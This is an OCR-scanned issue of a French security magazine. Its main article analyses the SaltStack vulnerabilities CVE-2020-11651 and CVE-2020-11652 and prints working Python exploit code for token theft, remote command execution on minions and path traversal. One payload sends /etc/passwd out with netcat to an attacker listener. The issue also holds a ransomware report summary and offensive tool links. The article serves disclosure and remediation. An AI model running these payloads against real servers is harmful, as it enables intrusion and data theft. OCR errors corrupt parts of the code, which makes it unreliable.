sherMan permettant de mesurer le niveau de maturité
de vos collaborateurs vis-a-vis des campagnes d’hame-
¢onnage personnalisées.

Phishing “classique” : envoi d'un email pointant
vers un site ou formulaire ressemblant a vos sites
web, extranet, etc.

Phishing “avancé” (fraude au président / “spear
phishing”) : envoi d’'un email contenant une piéce
jointe malveillante (fichier MS Office intégrant une
macro, PDF, images, exécutables, etc.).

Attaque de type APT : déploiement de backdoors

persistantes.

N'hésitez pas a nous contacter :

https://www.xmco.fr/campagne-dhameconnage-phi-
shing/

Mesurez le niveau de maturité
de vos collaborateurs vis-a-vis
des campagnes d’hamegonnage

Phisherman

Phisherman

Phisherman.
eyl

® DEWERORE EFROUVEE DEPLRS 274 AU TRANERS 0 A0S FRESTATIONS € TYPE REDTEAM
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Introduction

Le 23 avril 2020, SaltStack a publié une note [1] signalant I'arrivée imminente d'une mise a jour corrigeant une vulnérabilité
majeure au sein de I'environnement SaltStack. Le communiqué annonce que le score CVSS de cette vulnérabilité est de 10, ce
qui laisse supposer d'une part que cette vulnérabilité est facilement exploitable, mais également qu'elle présente un impact
important. Le correctif de cette vulnérabilité a été publié le 29 avril 2020 lors de la sortie des versions 2019.2.4 et 3000.2.

Ces deux vulnérabilités, découvertes par I'entreprise F-Secure dans le cadre d’une mission pour un client, permettaient d'exé-
cuter du code arbitraire sans authentification sur une instance SaltStack ainsi que d’accéder aux fichiers sur le serveur maitre.
Au moment de sa découverte, F-Secure estimait a environ 6000 le nombre d’instances de SaltStack vulnérables et accessibles
sur Internet.

Au cours des jours qui ont suivi la publication des vulnérabilités, plusieurs campagnes d'attaques se sont développées. Ces
campagnes ayant pour principal objectif de placer des mineurs de cryptomonnaie sur les serveurs vulnérables. Ainsi, I'in-
frastructure de LineageQS, un systeme d'exploitation basé sur Android, a par exemple été touchée par ce type d’attaque [2].
D'autres vulnérabilités ont été publiées depuis, telles qu’'une exécution de code a distance (CVE-2020-16846) [3]. Cet article

se concentrera sur les deux vulnérabilités découvertes par F-Secure (CVE-2020-11651 et CVE-2020-11652).
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SaltStack est un outil de gestion de configuration des systémes publié sous licence Apache. Il s'agit d’une alternative a
d’autres outils similaires tels que Puppet, Ansible ou Chef. Il permet ainsi de décrire des procédures permettant d’automati-
ser la configuration ainsi que le déploiement d'applications sur des serveurs au sein d'un parc informatique.

Il permet également, depuis les serveurs principaux, de contréler et de réaliser des actions sur les serveurs administrés, telles
que l'installation d'application, la configuration du systéme.

SaltStack fonctionne sur un systéme appelé maitre-minion :
«  Leserveur SaltStack principal est appelé Salt maitre
«  Tous les serveurs administrés sont appelés Salt minions

Afin d'interagir entre les serveurs maitres et minions, les communications sont initiées par les serveurs minions, dans le but
de réduire la surface d'exposition. En effet, seuls les ports des serveurs maitres sont ouverts, les minions n‘ont pas besoin d'en
ouvrir. Ces échanges sont basés sur le protocole ZeroMQ [3].

ZeroMQ est une bibliothéque de messagerie asynchrone, =
principalement utilisée dans des applications distribuées Serveur Maitre

ou concurrentes. 450 4506
Le serveur maitre expose deux ports et recoit les

connexions des serveurs minions via ces derniers :

« 4505 (TCP) : Les serveurs minions établissent une

connexion persistante vers le serveur maitre. Les Publisher Request
commandes sont émises de maniére asynchrone sur Server
toutes les connexions ouvertes sur ce port.

4506 (TCP) : Les serveurs minions se connectent
aux serveurs maitres pour envoyer les résultats de

requétes 000

Serveur Minions

Ces échanges sont réalisés de maniere chiffrée. En effet,
les serveurs maitres et minions s'authentifient dans un
premier temps mutuellement a l'aide de clés. Cette au-
thentification est initiée par le serveur minion en émet-
tant sa clé publique et doit étre acceptée par le serveur
maitre. Les échanges sont par la suite chiffrés en AES.

Il est cependant possible de forcer une communication
en clair.

Schéma d'architecture des échanges réalisés entre minions et
maitres

SaltStack permet I'exécution de commandes a distance, par exemple, la commande effectuée sur le serveur maitre :
salt ‘*’ pkg.install git : secharge d'émettre aux serveurs minions la commande d'installation du paquet git
(en utilisant le gestionnaire de paquet de la distribution sur lequel le serveur minion est en fonctionnement).

Afin de se connecter au serveur maitre, SaltStack expose plusieurs méthodes permettant de réaliser des actions a distance. |l
est ainsi possible de faire exécuter certaines commandes sans étre authentifié.

Par exemple, il est possible de réaliser une commande ping depuis un client sur le serveur maitre en utilisant la Bibliothéque
SaltStack en Python:

def ping():
args = {
‘pkd dirts ' /tmp',
'id': 'salt',

'master_uri': 'tcp://127.0.0.1:14506"',
b
channel = RegChannel. factory(args, crypt='clear")
print(channel.send({
‘emd': 'ping',
'msg': 'This is a ping'

)

Extrait d'un code python utilisant la bibliothéque SaltStack afin de communiquer avec un serveur Salt maitre distant
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Lors d'une requéte ping, le serveur Salt maitre renvoie la payload émise a l'identique. Ainsi, le message retour est le sui-
vant:

‘msg’ : ‘This is a ping’,
‘cmd’ : ‘ping’

« Afin d'interagir entre les serveurs maitres et minions, les communications sont initiées par les
serveurs minions, dans le but de réduire la surface d’exposition. En effet, seuls les ports des ser-
veurs maitres sont ouverts, les minions n‘ont pas besoin d’en ouvrir. »

D'autre part, un mécanisme d’authentification est mis en place pour certaines fonctions exposées, telle que la fonction
runner qui permet de faire exécuter des commandes sur les serveurs minions. En effet, la réponse suivante est retournée
lorsqu'elle est appelée en tant qu'utilisateur non authentifié :

‘error’ : {
‘message’ : ‘Authentication failure of type “user” occurred’,
‘name’ : ‘UserAuthenticationError’

Présentation des vulnérabilités

Au sein du serveur maitre, ces requétes au format ZeroMQ sont traitées par la classe ClearFuncs. En effet, cette classe est
responsable du traitement des requétes effectuées sans chiffrement ni authentification a destination du processus maitre.

Cependant, une fonction exposée par le serveur Salt maitre au sein de la classe ClearFuncs, _prep_auth_info est accessible
sans authentification. Cette fonction est chargée de s'assurer que les informations nécessaires a I'authentification sont bien
présentes au sein de la requéte. Lorsque cette fonction est appelée de maniére anonyme, celle-ci renvoie un token valide
permettant de s'authentifier sur le serveur Salt maitre.

Le token obtenu permet ainsi de s'authentifier auprés du serveur Salt maitre. Ce qui permet par exemple de faire appel a la
fonction runner, permettant de réaliser de I'exécution arbitraire de code sur les serveurs minions, mais également a la fonc-

tion _send_ssh_pub, permettant d’exécuter du code sur le serveur maitre.

D'autre part, la fonction _send_pub ne nécessite pas d'authentification. Celle-ci permet d'exécuter des commandes arbi-
traires sur les serveurs minions.

Etant donné que les processus Salt présents sur les serveurs minions sont utilisés a des fins d’administration de la machine,
ceux-ci possedent des droits élevés (si ce n'est directement root).

La CVE-2020-11651 constitue ces deux erreurs de controle d’acces.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite. (XMco)

53



Un schéma présentant I'enchainement des vulnérabilités permettant notamment d'exécuter du code sur les serveurs
maitre et minions (CVE-2020-11651) :

2 Le serveur Maitre retourne un token d'authentification \
et le contexte d'exécution du processus O Serveur Maitre

Exposition de fonctions accessibles
sans authentification
Exécution de code "

Utilisation du token pour appeler des I
o fcmctl ons internes
1
sur le serveur maitre

Exécution de code sur __ \_9 et

les serveurs minions "

[©000”

Serveurs Mininns

_prep_auth_info

_ssh_send_pub

Scénario exploitant la vulnérabilité CVE-2020-11651

Afin d'exploiter cette vulnérabilité, nous avons mis en place deux serveurs (un serveur maitre et un serveur minion). Ces deux
serveurs communiquent entre eux selon le principe de connexion présenté préalablement.

prep_auth_info

Lexploitation de la vulnérabilité peut sef- def cve_2020_11651(target) —> str:
fectuer en contactant le serveur maitre via server = {

le resAeau. LAPI en Pythf)n permeAttant de ‘pki_dir': */tmp’

contréler un serveur maitre peut étre utili-

sée afin de réaliser I'exploitation de la vul- ‘id*: ‘salt’,
nérabilité. 'master_uri': f'tcp://{target}:4506"',
¥
Lextrait de code python suivant utilise le socket = ReqChannel.factory(server, crypt='clear")

défaut de contrdle d'accés sur la fonction b ol . . .
_prep_auth_info afin d’accéder au token payload = {'cmd’: *_prep_auth_info'}

permettant de s'authentifier ultérieurement msg = socket.send(payload)
auprés du serveur maitre : token = list(msg[2].values()) [@]

return token

Code permettant de récupérer le token d'authentification

Le serveur maitre Salt renvoie alors la réponse suivante :
[

‘user’

‘UserAuthenticationError’

{
‘salt’ : “JI5mGGcP8cWVKUt+MmMWKAWA+EQ7kQNBxMmnPAbaVxGUIUGNPTXjJ9fc5AArLX4m5Hpo /AN2NC—

’

Ce token permet par la suite de s'identifier en tant qu’utilisateur Unix exécutant le processus maitre Salt sur le serveur (‘salt
dans le cas actuel). Néanmoins, il est courant que les services Salt soient exécutés en tant que root, ceux-ci devant effectuer
des actions d’administration nécessitant de hauts privileges.

Un attaquant exploitant cette vulnérabilité est ainsi en mesure de s'authentifier sur le serveur Salt maitre.

‘ XM Com] Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



send pub

Le méme défaut de controle d'acces se produit sur la fonction _send_pub.

Cette fonction a pour objectif, depuis le serveur maitre, d'émettre des commandes a exécuter sur les serveurs minions. Il
faut cependant fournir 'utilisateur qui exécute le processus Salt Master en paramétre (que l'on peut obtenir via la vulnéra-
bilité présentée précédemment).

Il est ainsi possible de demander au serveur maitre démettre des commandes qui seront réalisées par les serveurs minions.

def cmd(target):

server = {
‘pki_dir': '/tmp',
‘id': 'salt',
‘master_uri': f'tcp://{target}:4506',
¥
payload = {
'key': '',
'emd': '_send_pub',
'fun': 'cmd.run',
‘user': 'salt’',
‘arg': ["/bin/sh -c 'cat /etc/passwd | nc myip 1664'"1],
"tgt': ‘%'
'tgt_type': 'glob’',
‘ret': '!;
‘jid': *jid"*
¥

channel = ReqChannel.factory(server, crypt='clear')
channel.send(payload)

Extrait de code permettant de d'exécuter du code arbitraire sur les serveurs minions

Au sein de cette requéte, les parameétres sont :
key : la clé permettant d'authentifier I'utilisateur, qui est vide dans ce cas en raison du défaut de controle d'accés ;
fun :le module ou la fonction qui sera exécutée sur le serveur minion cible ;
cmd : la fonction qui sera exécutée ;
fun : le type de commande a exécuter ;
tgt: la cible de la commande a exécuter ;
tgt_type : le type contenu dans le parametre tgt.

Un attaquant peut ainsi exécuter du code arbitraire sur les serveurs minions.
En écoutant sur un serveur externe, il est par exemple possible d’extraire les données :

$ nc -1lp 1664

root :x :0 :0 : :/root :/bin/bash

bin :x :1 :1 : :/ :/usr/bin/nologin

daemon :x :2 :2 : :/ :/usr/bin/nologin

mail :x :8 :12 : :/var/spool/mail :/usr/bin/nologin
ftp :x :14 :11 : :/srv/ftp :/usr/bin/nologin

http :x :33 :33 : :/srv/http :/usr/bin/nologin

nobody :x :65534 :65534 :Nobody :/ :/usr/bin/nologin
dbus :x :81 :81 :System Message Bus :/ :/usr/bin/nologin
systemd-journal-remote :x :982 :982 :systemd Journal Remote :/ :/usr/bin/nologin
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systemd-network :x :981 :981 :systemd Network Management :/ :/usr/bin/nologin
systemd-resolve :x :980 :980 :systemd Resolver :/ :/usr/bin/nologin
systemd-timesync :x :979 :979 :systemd Time Synchronization :/ :/usr/bin/nologin
systemd-coredump :x :978 :978 :systemd Core Dumper :/ :/usr/bin/nologin

uuidd :x :68 :68 : :/ :/usr/bin/nologin
build :x :1000 :1000 : :/home/build :/bin/bash
salt :x :1001 :1001 : :/home/salt :/bin/bash

La deuxieme vulnérabilité affectant SaltStack est un défaut de validation d'entrées utilisateurs permettant d'exploiter une
attaque de type directory traversal sur plusieurs fonctions exposées.

get token

La fonction get_token présente au sein de la classe salt.tokens.localf, qui est Iégitimement exposée sans authentification par
la classe ClearFuncs présentée précédemment, ne valide pas correctement les entrées utilisateurs. En effet, il est possible de
passer en parametre un chemin absolu vers n‘importe quel répertoire du systéme du serveur maitre, soit un chemin relatif
permettant de remonter lI'arborescence de celui-ci.

Il est ainsi possible d'interagir avec des fichiers présents sur le serveur n'appartenant pas a l'application via une attaque de
type directory traversal.

def get_token(target):

server = {

'pki_dir': '/tmp',

'id': 'salt',

'master_uri': f'tcp://{target}:4506"',
4
channel = ReqChannel.factory(server, crypt='clear"')
payload = {

'‘cmd': 'get_token',

varg*s [1,

"token': ‘../../ea// /e C/passwd’,
¢

print(channel.send(payload))

Code permettant par exemple d'exploiter cette vulnérabilité sur la fonction de récupération de token

Cependant, un traitement doit étre effectué sur le contenu du fichier cible. Celui-ci ne peut donc pas étre récupéré tel quel. Si
celui-ci ne peut pas étre désérialisé, une erreur se produit, et le contenu du fichier demandé n’est pas renvoyé a l'attaquant.
A la place, il récupére un message d'erreur provenant du serveur maitre :

[CRITICAL] Could not deserialize msgpack message. This often happens when trying to read
a file not in binary mode. To see message payload, enable debug logging and retry. Ex-

ception : unpack(b) received extra data.

[DEBUG] Msgpack deserialization failure on message : 1gDZ0O0+QTZoYGwrH7P51 ~
6RIZFqdZjADJ+LEFYmDa8gEBNN]XpsyW5ILkvQE 9p3wngx+7R2A7Tx00=

[WARNING] Failed to load token u’../../../../../etc/passwd’ - removing broken/empty file.

Ainsi cette vulnérabilité n'est que peu exploitable en I'état via la fonction get_token. En effet, il est nécessaire que le fichier
que l'on souhaite lire puisse étre désérialisé par le serveur Salt maitre.

Cependant, d’autres fonctions exposées sont également vulnérables :
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wheel

Le module wheel expose des fonctions vulnérables. Néanmoins, il est nécessaire d’étre authentifié pour réaliser des requétes
appelant des fonctions au sein du module :

‘error’ : {
‘message’ : ‘Authentication failure of type “user” occurred’,
‘name’ : ‘UserAuthenticationError’

Toutefois, il est possible de récupérer un token d’authentification via la vulnérabilité CVE-2020-11651 présentée précédem-
ment.

Au sein des fonctions exposées par le module wheel, qui permet de contréler le master, les chemins fournis en parameétre de
la requéte (via le champ path) étaient concaténés avec le chemin racine de I'environnement précisé dans la requéte (argu-
ment saltenv, qui correspond a la base par défaut).

Cependant, ce chemin n'‘était pas converti sous forme canonique. Ainsi, lorsqu'un attaquant fournissait le chemin suivant :
../../etc/passwd dans larequéte, ce dernier était concaténé avec le répertoire de I'environnement de la requéte (/srv/
salt/ par exemple).

Le chemin concaténé : /srv/salt/../../etc/passwd était considéré comme valide car commencant par /srv/
salt/.Cependant, mis sous forme canonique, ce chemin correspond a /etc/passwd qui se situe en dehors du répertoire
racine de Salt.

def clean_path{root, path, subdir=False):

Accepts the root the path needs to be under and verifies that the path is
under said root. Pass in subdir=True if the path can result in a
subdirectory of the root instead of having to reside directly in the root

real_root = _realpath(root) Le chemin n'est pas mis

if not os.path.isabs(real_root): sous forme canunique avant
return """ d Arifi il rtient

if not os.path.isabs(path}: .EVETI IBI’EILI.I appa ien
path = os.path.join(root, path) Di€N au dossier racine de

path = os.path.normpath(path) I'environnement
real_path = _realpath(path)
if subdir:

if real_path.startswith{real_root):
return real_path

Elser
if os.path.dirname(real_path) = os.path.normpath({real_root):
return real_path

return

Fonction vulnérable de vérification de la validité du chemin entré par 'utilisateur [4]

Un attaquant est ainsi en mesure de contourner le mécanisme de restriction du répertoire de SaltStack afin de lire ou écrire
sur tout le systéme du serveur Salt maitre.
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def read_wheel(key, path, target):

server = {

‘pki_dir': '/tmp',

“3d"z “salt’;

‘master_uri': f'tcp://{target}:4506",
}
channel = ReqChannel.factory(server, crypt='clear"')
payload = {

'key': key,

'‘cmd': 'wheel',

'fun': 'file_roots.read’,

‘path': f'../../../../{path}’,
H

out = channel.send(payload)['data']['return'][@]
print(f"{list(out.keys())[@]}\n\n{list(out.values())[@]}")

Extrait de code permettant de contourner les restrictions sur le répertoire de destination mis en place par Saltstack

Au sein de cette requéte, les parameétres sont :

- key:la clé permettant d’authentifier |'utilisateur, que I'on peut obtenir via la vulnérabilité CVE-2020-11651 ;
- fun:le module ou la fonction qui sera exécutée sur le serveur minion cible ;

- cmd:lafonction qui sera exécutée ;

- path:le chemin cible.

« Ce correctif permet donc de protéger les fonctions ne devant pas étre exposées. Un attaquant
n’a maintenant plus accés a la fonction lui révélant un token d’authentification. »

Une fois authentifié, le serveur renvoie le contenu du fichier demandé :
/srv/salt/../../../../etc/passwd

root :x :0 :0 : :/root :/bin/bash

bin :x :1 :1 : :/ :/usr/bin/nologin

daemon :x :2 :2 : :/ :/usr/bin/nologin

mail :x :8 :12 : :/var/spool/mail :/usr/bin/nologin
ftp :x :14 :11 : :/srv/ftp :/usr/bin/nologin

http :x :33 :33 : :/srv/http :/usr/bin/nologin

nobody :x :65534 :65534 :Nobody :/ :/usr/bin/nologin

dbus :x :81 :81 :System Message Bus :/ :/usr/bin/nologin

systemd-journal-remote :x :982 :982 :systemd Journal Remote :/ :/usr/bin/nologin
systemd-network :x :981 :981 :systemd Network Management :/ :/usr/bin/nologin
systemd-resolve :x :980 :980 :systemd Resolver :/ :/usr/bin/nologin
systemd-timesync :x :979 :979 :systemd Time Synchronization :/ :/usr/bin/nologin
systemd-coredump :x :978 :978 :systemd Core Dumper :/ :/usr/bin/nologin

uuidd :x :68 :68 : :/ :/usr/bin/nologin
build :x :1000 :1000 : :/home/build :/bin/bash
salt :x :1001 :1001 : :/home/salt :/bin/bash

De méme, il est possible d'écrire sur des fichiers arbitraires du serveur Salt maitre via cette vulnérabilité.

Enfin, une méthode exposée par le serveur Salt maitre permet de faire exécuter du code arbitraire sur le serveur maitre.
Cela est possible en utilisant des méthodes du module wheel qui présentent la méme vulnérabilité de path traversal.
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Remédiation

Afin de remédier a la vulnérabilité CVE-2020-11651 [5], SaltStack a procédé a la mise en place d'une liste de fonctions expli-
citement autorisées a étre exposées. En effet, avant cette modification, seules les fonctions de la forme __mafonction étaient
bloquées (celles-ci étant considérées comme des méthodes privées en python). Dorénavant, toutes les fonctions qui ne
sont pas présentes dans la liste de fonctions autorisées (ping, publish, get_token, mk_token, wheel et runner) ne peuvent étre
appelées par un client distant.

log.trace({"Clear payload received with command %s", load["cmd"])
cmd = load["cmd"]
- if cmd.startswith("_"):

- return False

+ Imethud = 5elf.clear_funcs.get_method{cmd)]
+ if not methed:
+ return {}, {"fun": “send_clear"}
T T — get_method valide que la fonction
start = time.time() demandée est bien présente dans la

self.stats[emd] ["runs"] += 1 |iste d’autorisation
- ret = getattr(self.clear_funcs, cmd)(load), {"fun": Msend_clear"}
method(load), {"fun": "send_clear"}

if self.opts["master_stats"]:

+ ret

self._post_stats(start, cmd)
return ret
" @@ -1169,8 +1170,9 @2 def _handle_aes(self, data
return {}
cmd = data["cmd"]
log.trace("AES payload receive
B if cmd.startswith("_"):

- return False

ith command %s", datal["cmd"])

+ method = self.aes_funcs.get_method(cmd)
+ 1T NOT method:
+ return {}, {"fun": “send"}

if self.opts["master_stats"]:
start = time.time()
self.stats[emd] ["runs"] += 1
Vérification des fonctions appelées par rapport a la liste d'autorisation prédéfinie

Ce correctif permet donc de protéger les fonctions ne devant pas étre exposées. Un attaquant n'a maintenant plus acces a
la fonction lui révélant un token d’authentification. De plus, la fonction _send_pub permettant de réaliser de I'exécution de
commande sur les serveurs minions sans authentification se retrouve elle aussi inaccessible depuis un client externe.
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Afin de remédier a la vulnérabilité CVE-2020-11652 [6], SaltStack a procédé a la création d’'une fonction de canonisation du
chemin entré par I'utilisateur :

+ def _realpath{path):

+ wiaiim

+ Cross platform realpath method. On Windows when python 3, this method

4 uses the os.readlink method to resolve any filesystem links. On Windows

+ when python 2, this methed is a no-op. ALl other platforms and version use

4 os.path.realpath

$  en Fonction de canonisation du chemin
+  if salt.utils.platform.is_darwin{}: entré par I'utilisateur, fonctionnant
+ return _realpath_darwin{path) indépendamment de la plateforme
+ elif salt.utils.platform.is_windows() ‘d’exécution snus-jacente

+ if salt.ext.six.PY3:

+ return _realpath_windows(path)

+ else:

+ return path

+ return os.path.realpath{path}

Fonction de canonisation du chemin entré par ['utilisateur

Maintenant, les chemins entrés par I'utilisateur sont d’abord mis sous forme canonique avant de vérifier leur appartenance
au dossier racine de I'environnement Salt :

« Lechemin /srv/salt/../../etc/passwd estrésolucomme /etc/passwd;

+  Le chemin canonique /etc/passwd est comparé avec la racine du dossier Salt.

Ainsi, un attaquant n’est plus en mesure de procéder a une attaque de type directory traversal.

Afin de limiter I'impact de ces vulnérabilités, plusieurs points de durcissements de la configuration de SaltStack sont égale-
ment possibles [7]. Par exemple, faire exécuter SaltStack avec un utilisateur peu privilégié, ainsi que restreindre I'accés aux
ports exposés par le serveur maitre permettent de réduire les risques de compromission.

Conclusion

Les deux vulnérabilités SaltStack présentées sont importantes en raison de leur simplicité d'exploitation ainsi que le faible ni-
veau de prérequis qu'elles nécessitent. En effet, une instance de SaltStack exposée et vulnérable suffit. Lors de la découverte
de ces vulnérabilités, il y avait environ 6,000 instances vulnérables et exposées sur Internet [8].

De plus, en raison du cas d'utilisation de SaltStack (celui-ci est généralement exécuté dans un contexte privilégié, afin d’ad-
ministrer les machines sur lesquelles il s'exécute), les conséquences de l'exploitation de ces vulnérabilités sont également
importantes.

Un attaquant pouvait ainsi exécuter du code arbitraire sur les serveurs maitre et minions, ainsi que de lire et écrire sur des
fichiers arbitraires sur le serveur Salt maitre.

En réponse a ces deux vulnérabilités, SaltStack a publié les mises a jour suivantes qui corrigent les erreurs logiques présen-
tées précédemment. :

. SaltStack 2019.2.4 ;

«  SaltStack 3000.2.

Il est néanmoins possible de se prémunir en amont de telles exploitations de vulnérabilités en durcissant la configuration
de SaltStack.
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[1] Communiqué SaltStack
https ://raw.githubusercontent.com/SaltStack/community/master/doc/Community-Message.pdf

[2] Hackers breach LineageOS servers via unpatched vulnerability
https ://www.zdnet.com/article/hackers-breach-lineageos-servers-via-unpatched-vulnerability/

[3] ZeroMQ
https ://zeromq.org/

[4] Fonction vulnérable a une attaque de type directory traversal
https ://github.com/SaltStack/salt/blob/2019.2.3/salt/wheel/file_roots.py

[5] Correctifs de la vulnérabilité CVE-2020-11651
https ://github.com/SaltStack/salt/commit/ffea7ffa215313f68b42f82984b0441e1017330c¢

[6] Correctifs de la vulnérabilité CVE-2020-11652
https ://github.com/SaltStack/salt/commit/d5801df94b05158dc8e48c5e6912b065044720f3

[7] Salt hardening
https ://docs.SaltStack.com/en/latest/topics/hardening.html#general-hardening-tips

[8] Article de blog de la découverte
https ://labs.f-secure.com/advisories/SaltStack-authorization-bypass/
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Le rancongiciel Egregor

LANSSI a récemment publié un rapport concernant le ran-
somware Egregor. Le rapport s'appuie sur les recherches
effectuées par diverses organisations spécialisées dans la
cybersécurité et propose une synthese des connaissances
sur ce groupe d’attaquants. Egregor a commencé une vaste
campagne d‘attaques depuis la mi-septembre 2020, et au
moins 69 entreprises auraient été touchées, dont plusieurs
francaises.

Plusieurs groupes d‘attaquants semblent mener des at-
taques avec Egregor, qui fonctionne selon le modéle du
Ransomware-as-a-Service (Raa$S). Environ 30 % des rancons
obtenues reviendraient aux développeurs d’Egregor, le
reste se répartissant entre les opérateurs d'une attaque.

Plusieurs indices laissent penser qu'Egregor serait un héri-
tier du groupe Maze. Un scénario probable serait que face a
leur trop grande visibilité, les opérateurs de Maze aient dé-
cidé de cesser leurs activités. En prévision de cet arrét, cer-
tains développeurs auraient mis au point Sekhmet afin de
s'assurer de leurs techniques et procédures. Une fois cette
vérification faite, et Maze officiellement terminé, Sekhmet
serait devenu Egregor.

Le rapport analyse ensuite la chaine d'infection constatée.
Celle-ci comporte plusieurs variations, étant donné la diver-
sité des opérateurs utilisant la solution. Linfection initiale se
fait la plupart du temps par une piéce jointe malveillante
envoyée dans un email, ou par l'utilisation d'identifiants va-
lides sur un service RDP exposé. Le cheval de Troie Qakbot
est principalement utilisé, mais Ursnif et IcelD le sont éga-
lement. Les outils Sharphound et Adfind sont utilisés pour
élever ses privileges sur le domaine. Des balises SMB de I'ou-
til Cobalt Strike sont utilisées.
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Egregor utilise également plusieurs techniques dévasion,
telles que l'imitation de processus, l'injection de code en
mémoire, I'obfuscation du code, et I'arrét de processus cou-
ramment utilisés par les analystes ou pour la protection.

Au moment du chiffrement, Egregor vérifie la langue utili-
sée par le systéme, et interrompt le chiffrement si une des
langues suivantes est identifiée : Arménien, Azerbaidjanais,
Biélorusse, Géorgien, Kazakh, Kirghize, Moldave, Russe, Ta-
djik, Tatar, Turkmeéne, Ukrainien, Ouzbek.

Enfin, des sites web sont ensuite utilisés par le groupe pour
publier les données volées en cas de non-paiement de la
rancon. D'apres les analyses de 'ANSSI, certaines techniques
d'enregistrement de noms de domaine rappellent le groupe
APT TA505 (cf. CXN-2020-3266 ).

Enfin, le rapport détaille les recommandations de 'ANSSI
pour se prémunir des attaques d’Egregor, ainsi que pour ré-
agir de fagon optimale en cas d'incident.

Le rapport peut étre consulté a I'adresse suivante : https://
www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-012.pdf

La liste des indicateurs de compromission peut étre obte-
nue a I'URL suivante : https://www.cert.ssi.gouv.fr/uploads/
CERTFR-2020-I0C-006-MISP,json
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Breves de sécu

Un scanner d’environnement Azure qui s'appuie sur les points de contrdle de CIS #Audit
https://github.com/kbroughton/azure_cis_scanner

Une série d'articles (7 + HS) sur le DevSecOps #DevOps #Audit
https://www.n0secure.org/2020/05/k3s-traefik-a-long-way-to-devsecops-partie-1.html

Un framework de développement de malware en GO #Forensic
https://github.com/redcode-labs/Coldfire

Méthodes populaires pour s’injecter dans un processus Windows #Pentest #Forensic
https://github.com/odzhan/injection

Analyse de I'implant Cobalt Strike f#Forensic
https://isc.sans.edu/forums/diary/Quick+Tip+Cobalt+Strike+Beacon+Analysis/26818/

Un map qui suit I'utilisation des bibliotheques utilisées par les groupes d’attaquants #CERT
https://www.intezer.com/ost-map/

Une cheat sheet de pentest Active Directory #Pentest
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

Une cheat sheet sur les vulnérabilités XXE #Pentest
https://phonexicum.github.io/infosec/xxe.html

Boite a outils pour les tests d’intrusion de réseau Wi-Fi et surtout un Mindmap qui fournit des commandes utiles
#Pentest
https://github.com/koutto/pi-pwnbox-rogueap

Un tutoriel sur le remplacant de Fail2Ban, CrowdSec #BlucTeam
https://danielmiessler.com/study/crowdsec/

Bonnes pratiques Dockerfile #DevOps #Conf
https://cloudberry.engineering/article/dockerfile-security-best-practices/

Un scanner WordPress en Go #Pentest
https://github.com/blackbinn/wprecon

Des wordlists sur diverses thématiques (technologies, type de fichier, etc.) #Pentest
https://wordlists.assetnote.io/

Cheat sheet interactive sur les outils utilisés lors des tests d’intrusion d’environnements AD/Windows #Pentest
https://wadcoms.github.io/

Retour d’expérience sur un honeypot SSH #BlueTeam
https://systemoverlord.com/2020/09/04/lessons-learned-from-ssh-credential-honeypots.html

Une extension Burp pour vérifier les jetons JWT « faibles » #Pentest

https://lab.wallarm.com/meet-jwt-heartbreaker-a-burp-extension-that-finds-thousands-weak-secrets-automatically
https://github.com/wallarm/jwt-heartbreaker
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5. Fournisseur de VPN plébiscité par les attaquants

1. Langage de développement moderne et sécurisé contre
les probléemes de gestion de mémoire qui vous fera bénir
votre compilateur

8. Nom d'un logiciel n'étant plus supporté depuis le 1er jan-
vier 2021 et connu pour ses innombrables failles de sécurité

2. Attaque, quasiment irréalisable en pratique, permettant
d'exfiltrer des données en manipulant la mémoire vive pour
émettre des ondes WiFi

10. Logiciel de messagerie instantanée chiffré de bout en
bout

3.Nom de la plateforme de vente sur le DarkWeb fermée par
les autorités allemandes en janvier 2021

11. Technologie ayant fait l'objet d'un dossier spécial lors de
I'ActuSécu n°51

4. Forum ou des pirates mettent en vente des bases de don-
nées illégalement acquises

13. Nom du malware déployé par UNC2452

6. Site vendant des données récupérées suite aux attaques
sur SolarWinds

15. Société américaine qui a identifié I'attaque SolarWinds

7. Nouvelle technique permettant a un malware d'éviter la
détection par un logiciel de sécurité sous Windows

17. Nom de la distribution Linux sur laquelle deux enfants
ont réussi a contourner I'écran d’authentification

9. Nom d’une vulnérabilité Windows permettant de prendre
le controle d'un contréleur de domaine.

18. Nom de l'un des malwares utilisés dans les attaques sur
SolarWinds

12. Outil utilisé lors de réponses a incident permettant de ré-
cupérer et traiter des fichiers
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américaine qui s'est fait
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d'entreprises clientes
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